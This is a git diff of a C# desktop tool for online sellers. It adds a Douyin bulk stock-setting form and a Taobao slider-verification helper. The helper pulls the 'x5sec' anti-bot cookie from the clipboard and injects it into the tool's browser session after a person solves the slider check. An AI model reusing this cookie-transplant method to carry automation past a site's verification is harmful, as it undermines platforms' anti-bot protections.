this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + break; + } + + try + { + JObject jObj = JObject.Parse(waitSetStockHtml); + var jObjDataStr = jObj["data"]?["data"]?.ToString(); + if (!string.IsNullOrEmpty(jObjDataStr)) + { + var addList = JsonHelper.DeserializeJsonToList(jObjDataStr); + if (addList != null) + productList.AddRange(addList); + } + offSaleMessage = "正在获取商品,第" + currentNum + "件商品,共" + operateCount + "件商品"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + } + catch (Exception ex) + { + BaseMsgForm.ShowError("获取商品发生错误:" + ex.Message); + } + } + else + { + var failMessage = BaseRegex.GetStringJson(ref waitSetStockHtml, "sub_msg"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = waitSetStockHtml; + offSaleMessage = ("设置库存失败," + failMessage).TrimEnd(','); + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + } + } + + // 有关键词的过滤符合关键词 + if (keyWords.Any()) + productList = productList.Where(p => keyWords.Any(key => p.name.Contains(key))).ToList(); + + // 只操作指定天数之前修改的商品 + //productList = productList.Where(p => p.update_time < BaseClass.DateTimeToTimestampSeconds(notClearDate)).ToList(); + + // 操作数大于满足筛选条件商品数时,操作数改为商品数 + if (operateCount > productList.Count) + operateCount = productList.Count; + + for (int i = 0; i < productList.Count && i < operateCount; i++) + { + if (cancellationTokenSource.IsCancellationRequested) + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { Invoke(new Action(() => { row.Cells["colStatus"].Value = "设置库存中断"; })); } + break; + } + + Invoke(new Action(() => + { + offSaleMessage = "正在设置库存,第 " + (i + 1) + " 件商品,共" + operateCount + "件商品"; + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + Thread.Sleep(50); + + var product = productList[i]; + setNum++; + + var pid = product.product_id; + Thread.Sleep(Randomx.GetId(100, 300)); + var productDetail = GetProductDetail(shop, pid.ToString()); + if (productDetail == null || productDetail.Contains("spec_prices") == false) + productDetail = "{\"data\":{\"spec_prices\":[]}}"; + var skus = JObject.Parse(productDetail)?["data"]?["spec_prices"]; + //var skuIds = BaseRegex.GetMatchRegex(ref productDetail, "\"sku_id\":\\d{1,20}"); + int num = 0; + foreach (JObject jObj in skus) + { + num++; + + var skuStr = JsonHelper.SerializeObject(jObj); + var skuId = BaseRegex.GetLongJson(ref skuStr, "sku_id"); + var old_stock = BaseRegex.GetLongJson(ref skuStr, "stock_num"); + if (old_stock == stock) + continue; + + var offSaleResultCode = SetProductStock(shop, pid.ToString(), skuId.ToString(), stock.ToString()); + if (!offSaleResultCode.Contains("\"code\":10000")) + { + Thread.Sleep(Randomx.GetId(1000, 3000)); + offSaleResultCode = SetProductStock(shop, pid.ToString(), skuId.ToString(), stock.ToString()); + } + Thread.Sleep(Randomx.GetId(50, 150)); + if (offSaleResultCode.Contains("\"code\":10000")) + { + LogSave.Add(""); + offSaleMessage = "设置库存中,第" + setNum + "件商品,共" + operateCount + "件商品"; + Thread.Sleep(Randomx.GetId(50, 150)); + } + else + { + var failMessage = BaseRegex.GetStringJson(ref offSaleResultCode, "sub_msg"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = BaseRegex.GetStringJson(ref offSaleResultCode, "status_reason"); + if (string.IsNullOrEmpty(failMessage)) + failMessage = offSaleResultCode; + FailedMessages += "店铺:" + shop.ShopAccount + ",商品id:" + pid + ",skuId:" + skuId + ",错误信息:" + failMessage + "\r\n"; + offSaleMessage = ("设置库存失败," + failMessage).TrimEnd(','); + Thread.Sleep(10000); + } + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + Thread.Sleep(Randomx.GetId(100, 200)); + if (offSaleMessage.Contains("违规") || offSaleMessage.Contains("禁售")) + continue; + if (offSaleMessage.Contains("失败")) + continue; + } + + if (i == operateCount - 1) + { + offSaleMessage = "设置库存完成"; + Invoke(new Action(() => + { + row = this.dgvShop.Rows.Cast().FirstOrDefault(r => r.Cells["colShopId"].Value.ToString() == shop.ShopAccountId); + if (row != null) { row.Cells["colStatus"].Value = offSaleMessage; } + })); + } + // 操作过程中更新显示仓库商品数 + if (i % 50 == 49 || i == operateCount - 1) + GetShopProduct(shop, false); + } + } + Invoke(new Action(() => + { + this.btnSetStock.Enabled = true; + if (!cancellationTokenSource.IsCancellationRequested) + { + var text = "设置库存完成!"; + if (!string.IsNullOrEmpty(FailedMessages)) + { + //text += "部分商品设置库存失败,请查看详情。"; + //btnFailedDetail.Visible = true; + } + this.statusBar.lblTaskStatus.Text = text; + BaseMsgForm.ShowInfo(text); + } + else + { + var text = "设置库存中断!"; + if (!string.IsNullOrEmpty(FailedMessages)) + { + //text += "部分商品设置库存失败,请查看详情。"; + //btnFailedDetail.Visible = true; + } + this.statusBar.lblTaskStatus.Text = text; + BaseMsgForm.ShowInfo(text); + } + })); + }, cancellationTokenSource.Token); + } + + public string SetProductStock(DouShopLoginInfo shop, string productId, string skuId, string stock) + { + Dictionary dictionary = new Dictionary(); + dictionary.Add("product_id", productId); + dictionary.Add("sku_id", skuId); + dictionary.Add("stock_num", stock); + DouyinApi douApi = new DouyinApi(shop); + douApi.JsonData = dictionary; + var resultOnline = douApi.SetProductStock(); + return resultOnline; + } + public string GetProductDetail(DouShopLoginInfo shop, string productId) + { + Dictionary dictionary = new Dictionary(); + dictionary.Add("product_id", productId); + DouyinApi douApi = new DouyinApi(shop); + douApi.JsonData = dictionary; + var resultOnline = douApi.GetProductDetail(); + return resultOnline; + } + + private void dgvShop_CellContentClick(object sender, DataGridViewCellEventArgs e) + { + if (e.ColumnIndex < 0 || e.RowIndex < 0) + return; + string headerText = dgvShop.Columns[e.ColumnIndex].HeaderText; + long shopId = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ParseToLong(); + string shopName = dgvShop.Rows[e.RowIndex].Cells["colShopId"].Value.ToString(); + var shop = GlobalConfig.DouShopLoginList.FirstOrDefault(s => s.ShopAccountId == shopId.ToString()); + switch (headerText) + { + case "操作": + case "选": + if (dgvShop.Rows[e.RowIndex].Cells["colCanuse"].Value.ParseToBool()) + { + dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value = !dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool(); + if (dgvShop.Rows[e.RowIndex].Cells["colSelect"].Value.ParseToBool()) + lstShopId.Add(shopId.ToString()); + else + lstShopId.Remove(shopId.ToString()); + } + else + { + BaseMsgForm.ShowInfo("店铺未授权"); + } + break; + } + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/StockSyncForm.resx b/TEMUKJD/KJDForms/UploadForms/StockSyncForm.resx new file mode 100644 index 0000000..aa4078e --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/StockSyncForm.resx @@ -0,0 +1,147 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + + True + + \ No newline at end of file diff --git a/TEMUKJD/KJDForms/UploadForms/TbSettleSlideForm.cs b/TEMUKJD/KJDForms/UploadForms/TbSettleSlideForm.cs new file mode 100644 index 0000000..228bd8f --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/TbSettleSlideForm.cs @@ -0,0 +1,159 @@ +using AllBase; +using LittleRabbit.LittleRabbitForms.BaseForms; +using System; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Drawing; +using System.Linq; +using System.Text; +using System.Threading; +using System.Threading.Tasks; +using System.Windows.Forms; + +namespace LittleRabbit.LittleRabbitForms +{ + public partial class TbSettleSlideForm : LRBaseForm + { + public IeForm tbDetailForm; + public string slideUrl = ""; + public TbSettleSlideForm() + { + InitializeComponent(); + TitleText = "解除滑块"; + //IsMinized = false; + //IsMaxized = false; + } + + private void panelCopyCookies_Click(object sender, EventArgs e) + { + string cookies = string.Empty; + IDataObject iData = Clipboard.GetDataObject(); + if (iData.GetDataPresent(DataFormats.Text)) + { + cookies = (string)iData.GetData(DataFormats.Text); + } + if (string.IsNullOrEmpty(cookies)) + { + return; + } + string x5Sec = BaseRegex.GetMatchRegexString(ref cookies, "\"name\": \"x5sec\",[\\s\\S]+?\"value\": \"([\\s\\S]+?)\""); + if (string.IsNullOrEmpty(x5Sec)) + { + x5Sec = BaseRegex.GetMatchRegexString(ref cookies, "x5sec=([\\s\\S]+?);"); + } + if (string.IsNullOrEmpty(x5Sec)) + { + Thread.Sleep(2000); + BaseClass.x5Sec = BaseRegex.GetMatchRegexString(ref IeForm.ChromeCookies, @"x5sec=([\w\W]+?);"); + } + if (string.IsNullOrEmpty(x5Sec)) + { + return; + } + if (tbDetailForm != null) + { + tbDetailForm.x5Sec = x5Sec; + tbDetailForm.ExecX5secJs(); + } + new Thread(CloseForm).Start(); + BaseClass.x5Sec = x5Sec; + //var tbCookes = BaseClass.CookiesAll["taobao.com"]; + //foreach (KeyValuePair> co in BaseClass.CookiesAll)//同步到系统 + //{ + // if (true) + // { + + // } + // string cook = ""; + // foreach (KeyValuePair c in co.Value) + // { + // if (c.Key == "x5sec") + // { + // cook += c.Key + "=" + x5Sec + "; "; + // } + // else + // { + // cook += c.Key + "=" + c.Value + "; "; + // } + // } + // if (BaseClass.CookiesAllString.ContainsKey(co.Key)) + // { + // BaseClass.CookiesAllString[co.Key] = cook; + // } + // else + // { + // BaseClass.CookiesAllString.Add(co.Key, cook); + // } + //} + new Thread(CloseForm).Start(); + //CloseForm(); + } + + private void TbSettleSlideForm_FormClosed(object sender, FormClosedEventArgs e) + { + //BaseClass.SlideIsClose = false; + //BaseClass.SlideCookiesReplace = false; + //BaseClass.IeUrlShow = ""; + } + + private void panelInstall_Click(object sender, EventArgs e) + { + GetHtml.OpenUrl("https://ext.chrome.360.cn/webstore/detail/fngmhnnpilhplaeedifhccceomclgfbg"); + } + + private void panelOpenSlideUrl_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(slideUrl)) + { + return; + } + GetHtml.OpenUrl(slideUrl); + } + + private void panelCopySlideUrl_Click(object sender, EventArgs e) + { + if (string.IsNullOrEmpty(slideUrl)) + { + return; + } + Clipboard.SetDataObject(slideUrl); + } + + + public void CloseForm() + { + try + { + Thread.Sleep(1000); + if (InvokeRequired) + { + Invoke(new Action(() => + { + this.Close(); + })); + } + else + { + this.Close(); + } + } + catch (Exception) + { + + //throw; + } + + } + + private void panelEx1_Click(object sender, EventArgs e) + { + if (slideUrl.Contains("https://trade-acs.m.taobao.com/")) + Clipboard.SetDataObject("https://trade-acs.m.taobao.com/"); + else if (slideUrl.Contains("https://acs.m.taobao.com")) + Clipboard.SetDataObject("https://acs.m.taobao.com"); + else + Clipboard.SetDataObject("https://guide-acs.m.taobao.com:443"); + } + } +} diff --git a/TEMUKJD/KJDForms/UploadForms/TbSettleSlideForm.designer.cs b/TEMUKJD/KJDForms/UploadForms/TbSettleSlideForm.designer.cs new file mode 100644 index 0000000..66fb0de --- /dev/null +++ b/TEMUKJD/KJDForms/UploadForms/TbSettleSlideForm.designer.cs @@ -0,0 +1,298 @@ +namespace LittleRabbit.LittleRabbitForms +{ + partial class TbSettleSlideForm + { + /// + /// Required designer variable. + /// + private System.ComponentModel.IContainer components = null; + + /// + /// Clean up any resources being used. + /// + /// true if managed resources should be disposed; otherwise, false. + protected override void Dispose(bool disposing) + { + if (disposing && (components != null)) + { + components.Dispose(); + } + base.Dispose(disposing); + } + + #region Windows Form Designer generated code + + /// + /// Required method for Designer support - do not modify + /// the contents of this method with the code editor. + /// + private void InitializeComponent() + { + System.ComponentModel.ComponentResourceManager resources = new System.ComponentModel.ComponentResourceManager(typeof(TbSettleSlideForm)); + this.panelCopyCookies = new DevComponents.DotNetBar.PanelEx(); + this.panelInstall = new DevComponents.DotNetBar.PanelEx(); + this.label1 = new System.Windows.Forms.Label(); + this.label2 = new System.Windows.Forms.Label(); + this.label3 = new System.Windows.Forms.Label(); + this.label4 = new System.Windows.Forms.Label(); + this.panelOpenSlideUrl = new DevComponents.DotNetBar.PanelEx(); + this.panelCopySlideUrl = new DevComponents.DotNetBar.PanelEx(); + this.label5 = new System.Windows.Forms.Label(); + this.pictureBox1 = new System.Windows.Forms.PictureBox(); + this.panelEx1 = new DevComponents.DotNetBar.PanelEx(); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).BeginInit(); + this.SuspendLayout(); + // + // panelCopyCookies + // + this.panelCopyCookies.CanvasColor = System.Drawing.SystemColors.Control; + this.panelCopyCookies.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelCopyCookies.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelCopyCookies.DisabledBackColor = System.Drawing.Color.Empty; + this.panelCopyCookies.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelCopyCookies.Location = new System.Drawing.Point(34, 391); + this.panelCopyCookies.Name = "panelCopyCookies"; + this.panelCopyCookies.Size = new System.Drawing.Size(171, 29); + this.panelCopyCookies.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelCopyCookies.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelCopyCookies.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelCopyCookies.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelCopyCookies.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelCopyCookies.Style.CornerDiameter = 1; + this.panelCopyCookies.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelCopyCookies.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelCopyCookies.Style.GradientAngle = 90; + this.panelCopyCookies.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelCopyCookies.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelCopyCookies.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelCopyCookies.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelCopyCookies.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelCopyCookies.TabIndex = 575; + this.panelCopyCookies.Text = "复制Cookies成功后点我"; + this.panelCopyCookies.Click += new System.EventHandler(this.panelCopyCookies_Click); + // + // panelInstall + // + this.panelInstall.CanvasColor = System.Drawing.SystemColors.Control; + this.panelInstall.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelInstall.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelInstall.DisabledBackColor = System.Drawing.Color.Empty; + this.panelInstall.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelInstall.Location = new System.Drawing.Point(36, 70); + this.panelInstall.Name = "panelInstall"; + this.panelInstall.Size = new System.Drawing.Size(171, 29); + this.panelInstall.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelInstall.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelInstall.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelInstall.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelInstall.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelInstall.Style.CornerDiameter = 1; + this.panelInstall.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelInstall.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelInstall.Style.GradientAngle = 90; + this.panelInstall.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelInstall.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelInstall.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelInstall.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelInstall.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelInstall.TabIndex = 582; + this.panelInstall.Text = "点我安装(已安装,请忽略)"; + this.panelInstall.Click += new System.EventHandler(this.panelInstall_Click); + // + // label1 + // + this.label1.AutoSize = true; + this.label1.ForeColor = System.Drawing.Color.Red; + this.label1.Location = new System.Drawing.Point(34, 52); + this.label1.Name = "label1"; + this.label1.Size = new System.Drawing.Size(155, 12); + this.label1.TabIndex = 583; + this.label1.Text = "第一步:安装360极速浏览器"; + // + // label2 + // + this.label2.AutoSize = true; + this.label2.ForeColor = System.Drawing.Color.Red; + this.label2.Location = new System.Drawing.Point(189, 52); + this.label2.Name = "label2"; + this.label2.Size = new System.Drawing.Size(275, 12); + this.label2.TabIndex = 584; + this.label2.Text = ",并安装插件EditThisCookie(其他浏览器自行安装)"; + // + // label3 + // + this.label3.AutoSize = true; + this.label3.ForeColor = System.Drawing.Color.Red; + this.label3.Location = new System.Drawing.Point(189, 113); + this.label3.Name = "label3"; + this.label3.Size = new System.Drawing.Size(0, 12); + this.label3.TabIndex = 586; + // + // label4 + // + this.label4.AutoSize = true; + this.label4.ForeColor = System.Drawing.Color.Red; + this.label4.Location = new System.Drawing.Point(34, 113); + this.label4.Name = "label4"; + this.label4.Size = new System.Drawing.Size(155, 12); + this.label4.TabIndex = 585; + this.label4.Text = "第二步:打开链接,处理滑块"; + // + // panelOpenSlideUrl + // + this.panelOpenSlideUrl.CanvasColor = System.Drawing.SystemColors.Control; + this.panelOpenSlideUrl.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelOpenSlideUrl.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelOpenSlideUrl.DisabledBackColor = System.Drawing.Color.Empty; + this.panelOpenSlideUrl.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelOpenSlideUrl.Location = new System.Drawing.Point(419, 134); + this.panelOpenSlideUrl.Name = "panelOpenSlideUrl"; + this.panelOpenSlideUrl.Size = new System.Drawing.Size(171, 29); + this.panelOpenSlideUrl.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelOpenSlideUrl.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelOpenSlideUrl.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelOpenSlideUrl.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelOpenSlideUrl.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelOpenSlideUrl.Style.CornerDiameter = 1; + this.panelOpenSlideUrl.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelOpenSlideUrl.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelOpenSlideUrl.Style.GradientAngle = 90; + this.panelOpenSlideUrl.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelOpenSlideUrl.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelOpenSlideUrl.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelOpenSlideUrl.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelOpenSlideUrl.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelOpenSlideUrl.TabIndex = 590; + this.panelOpenSlideUrl.Text = "默认浏览器打开滑块链接"; + this.panelOpenSlideUrl.Visible = false; + this.panelOpenSlideUrl.Click += new System.EventHandler(this.panelOpenSlideUrl_Click); + // + // panelCopySlideUrl + // + this.panelCopySlideUrl.CanvasColor = System.Drawing.SystemColors.Control; + this.panelCopySlideUrl.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelCopySlideUrl.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelCopySlideUrl.DisabledBackColor = System.Drawing.Color.Empty; + this.panelCopySlideUrl.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelCopySlideUrl.Location = new System.Drawing.Point(36, 134); + this.panelCopySlideUrl.Name = "panelCopySlideUrl"; + this.panelCopySlideUrl.Size = new System.Drawing.Size(171, 29); + this.panelCopySlideUrl.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelCopySlideUrl.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelCopySlideUrl.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelCopySlideUrl.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelCopySlideUrl.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelCopySlideUrl.Style.CornerDiameter = 1; + this.panelCopySlideUrl.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelCopySlideUrl.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelCopySlideUrl.Style.GradientAngle = 90; + this.panelCopySlideUrl.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelCopySlideUrl.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelCopySlideUrl.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelCopySlideUrl.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelCopySlideUrl.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelCopySlideUrl.TabIndex = 594; + this.panelCopySlideUrl.Text = "点我复制滑块链接"; + this.panelCopySlideUrl.Click += new System.EventHandler(this.panelCopySlideUrl_Click); + // + // label5 + // + this.label5.AutoSize = true; + this.label5.ForeColor = System.Drawing.Color.Red; + this.label5.Location = new System.Drawing.Point(34, 183); + this.label5.Name = "label5"; + this.label5.Size = new System.Drawing.Size(551, 12); + this.label5.TabIndex = 595; + this.label5.Text = "第三步:解除滑块之后,点击点我复制原滑块链接按钮,复制网址到浏览器中,按照下面指示复制cookies"; + // + // pictureBox1 + // + this.pictureBox1.Image = ((System.Drawing.Image)(resources.GetObject("pictureBox1.Image"))); + this.pictureBox1.Location = new System.Drawing.Point(36, 207); + this.pictureBox1.Name = "pictureBox1"; + this.pictureBox1.Size = new System.Drawing.Size(629, 174); + this.pictureBox1.TabIndex = 596; + this.pictureBox1.TabStop = false; + // + // panelEx1 + // + this.panelEx1.CanvasColor = System.Drawing.SystemColors.Control; + this.panelEx1.ColorSchemeStyle = DevComponents.DotNetBar.eDotNetBarStyle.StyleManagerControlled; + this.panelEx1.Cursor = System.Windows.Forms.Cursors.Hand; + this.panelEx1.DisabledBackColor = System.Drawing.Color.Empty; + this.panelEx1.Font = new System.Drawing.Font("微软雅黑", 9F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(134))); + this.panelEx1.Location = new System.Drawing.Point(227, 134); + this.panelEx1.Name = "panelEx1"; + this.panelEx1.Size = new System.Drawing.Size(171, 29); + this.panelEx1.Style.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.Style.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(251)))), ((int)(((byte)(251)))), ((int)(((byte)(251))))); + this.panelEx1.Style.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(191)))), ((int)(((byte)(191)))), ((int)(((byte)(191))))); + this.panelEx1.Style.Border = DevComponents.DotNetBar.eBorderType.SingleLine; + this.panelEx1.Style.BorderColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelEx1.Style.CornerDiameter = 1; + this.panelEx1.Style.CornerType = DevComponents.DotNetBar.eCornerType.Rounded; + this.panelEx1.Style.ForeColor.Color = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64))))); + this.panelEx1.Style.GradientAngle = 90; + this.panelEx1.StyleMouseDown.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.StyleMouseDown.BackColor1.Color = System.Drawing.Color.FromArgb(((int)(((byte)(241)))), ((int)(((byte)(241)))), ((int)(((byte)(241))))); + this.panelEx1.StyleMouseDown.BackColor2.Color = System.Drawing.Color.FromArgb(((int)(((byte)(171)))), ((int)(((byte)(171)))), ((int)(((byte)(171))))); + this.panelEx1.StyleMouseOver.Alignment = System.Drawing.StringAlignment.Center; + this.panelEx1.StyleMouseOver.BackColor2.Color = System.Drawing.Color.LightGray; + this.panelEx1.TabIndex = 612; + this.panelEx1.Text = "点我复制原滑块链接"; + this.panelEx1.Click += new System.EventHandler(this.panelEx1_Click); + // + // TbSettleSlideForm + // + this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 12F); + this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font; + this.BackColor = System.Drawing.Color.White; + this.ClientSize = new System.Drawing.Size(665, 435); + this.Controls.Add(this.panelEx1); + this.Controls.Add(this.pictureBox1); + this.Controls.Add(this.label5); + this.Controls.Add(this.panelCopySlideUrl); + this.Controls.Add(this.panelOpenSlideUrl); + this.Controls.Add(this.label3); + this.Controls.Add(this.label4); + this.Controls.Add(this.label2); + this.Controls.Add(this.label1); + this.Controls.Add(this.panelInstall); + this.Controls.Add(this.panelCopyCookies); + this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon"))); + this.Name = "TbSettleSlideForm"; + this.Text = "滑块处理"; + this.TitleText = "滑块处理"; + this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.TbSettleSlideForm_FormClosed); + this.Controls.SetChildIndex(this.panelCopyCookies, 0); + this.Controls.SetChildIndex(this.panelInstall, 0); + this.Controls.SetChildIndex(this.label1, 0); + this.Controls.SetChildIndex(this.label2, 0); + this.Controls.SetChildIndex(this.label4, 0); + this.Controls.SetChildIndex(this.label3, 0); + this.Controls.SetChildIndex(this.panelOpenSlideUrl, 0); + this.Controls.SetChildIndex(this.panelCopySlideUrl, 0); + this.Controls.SetChildIndex(this.label5, 0); + this.Controls.SetChildIndex(this.pictureBox1, 0); + this.Controls.SetChildIndex(this.panelEx1, 0); + ((System.ComponentModel.ISupportInitialize)(this.pictureBox1)).EndInit(); + this.ResumeLayout(false); + this.PerformLayout(); + + } + + #endregion + + private DevComponents.DotNetBar.PanelEx panelCopyCookies; + private DevComponents.DotNetBar.PanelEx panelInstall; + private System.Windows.Forms.Label label1; + private System.Windows.Forms.Label label2; + private System.Windows.Forms.Label label3; + private System.Windows.Forms.Label label4; + private DevComponents.DotNetBar.PanelEx panelOpenSlideUrl; + private DevComponents.DotNetBar.PanelEx panelCopySlideUrl; + private System.Windows.Forms.Label label5; + private System.Windows.Forms.PictureBox pictureBox1; + private DevComponents.DotNetBar.PanelEx 